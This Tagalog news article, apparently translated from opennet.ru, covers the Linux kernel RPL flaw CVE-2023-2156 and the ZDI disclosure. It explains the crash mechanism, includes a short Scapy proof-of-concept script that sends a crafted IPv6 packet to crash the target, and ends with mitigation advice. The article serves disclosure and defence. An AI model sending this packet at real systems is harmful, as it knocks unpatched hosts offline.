Isiniwalat na ang mga detalye ng isang hindi na-patch na (0-day) na kahinaan (CVE-2023-2156) sa kernel. Linux, na nagpapahintulot sa isang sistema na ihinto sa pamamagitan ng pagpapadala ng mga espesyal na ginawang IPv6 packet (packet-of-death). Ang isyu ay nangyayari lamang kapag pinagana ang suporta para sa Routing Protocol para sa Low-Power and Lossy Networks (RPL), na hindi pinagana bilang default sa mga distribusyon at pangunahing ginagamit sa mga naka-embed na device na tumatakbo sa mga wireless network na may mataas na packet loss.
Ang kahinaan ay sanhi ng maling paghawak ng panlabas na data sa RPL protocol parsing code, na nagti-trigger ng assertion error at kernel panic. Kapag ang data na nakuha sa pamamagitan ng pag-parse ng IPv6 RPL packet header ay inilagay sa k_buff (Socket Buffer) structure, kung ang CmprI field ay nakatakda sa 15, ang Segleft field ay nakatakda sa 1, at ang CmprE field ay nakatakda sa 0, ang 48-byte vector na may mga address ay ina-unpack sa 528 bytes, na nagreresulta sa hindi sapat na memory na inilaan para sa buffer. Sa kasong ito, ang skb_push function, na ginagamit upang maglagay ng data sa structure, ay sumusuri para sa data at buffer size disproportion, na nagti-trigger ng panic upang maiwasan ang pagsusulat na lampas sa mga hangganan ng buffer.
Halimbawa ng exploit: # Gagamitin natin ang Scapy para gumawa ng packet mula sa scapy.all import * import socket # Gamitin ang IPv6 mula sa iyong LAN interface DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Gumagamit tayo ng mga socket para ipadala ang packet sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Gawin ang packet # Uri = 3 ginagawa itong isang RPL packet # Ang mga address ay naglalaman ng 3 address, ngunit dahil ang CmprI ay 15, # ang bawat octet ng unang dalawang address ay itinuturing na isang naka-compress na address # Segleft = 1 para ma-trigger ang amplification # lastentry = 0xf0 ay nagtatakda ng CmprI sa 15 at CmprE sa 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=[“a8::”, “a7::”, “a6::”], segleft=1, lastentry=0xf0) # Ipadala ang masamang paketeng ito sockfd.sendto(bytes(p), (DST_ADDR, 0))
Kapansin-pansin, ang mga developer ng kernel ay naabisuhan tungkol sa kahinaan noong Enero 2022 at sinubukang ayusin ito nang tatlong beses sa nakalipas na 15 buwan, kung saan naglabas sila ng mga patch noong Setyembre 2022, Oktubre 2022, at Abril 2023. Gayunpaman, sa bawat pagkakataon, napatunayang hindi sapat ang mga pag-aayos, at maaaring ulitin ang kahinaan. Sa huli, ang proyektong ZDI, na siyang nag-coordinate sa pag-aayos ng kahinaan, ay nagpasya na ibunyag ang detalyadong impormasyon tungkol sa kahinaan nang hindi na hinihintay ang paglabas ng gumaganang patch sa kernel.
Samakatuwid, ang kahinaan ay nananatiling hindi naaayos. Ang patch na kasama sa kernel 6.4-rc2 ay hindi rin epektibo. Pinapayuhan ang mga gumagamit na tiyakin na ang RPL protocol ay hindi ginagamit sa kanilang mga sistema, na maaaring gawin gamit ang command na sysctl -a | grep -i rpl_seg_enabled.
Pinagmulan: opennet.ru
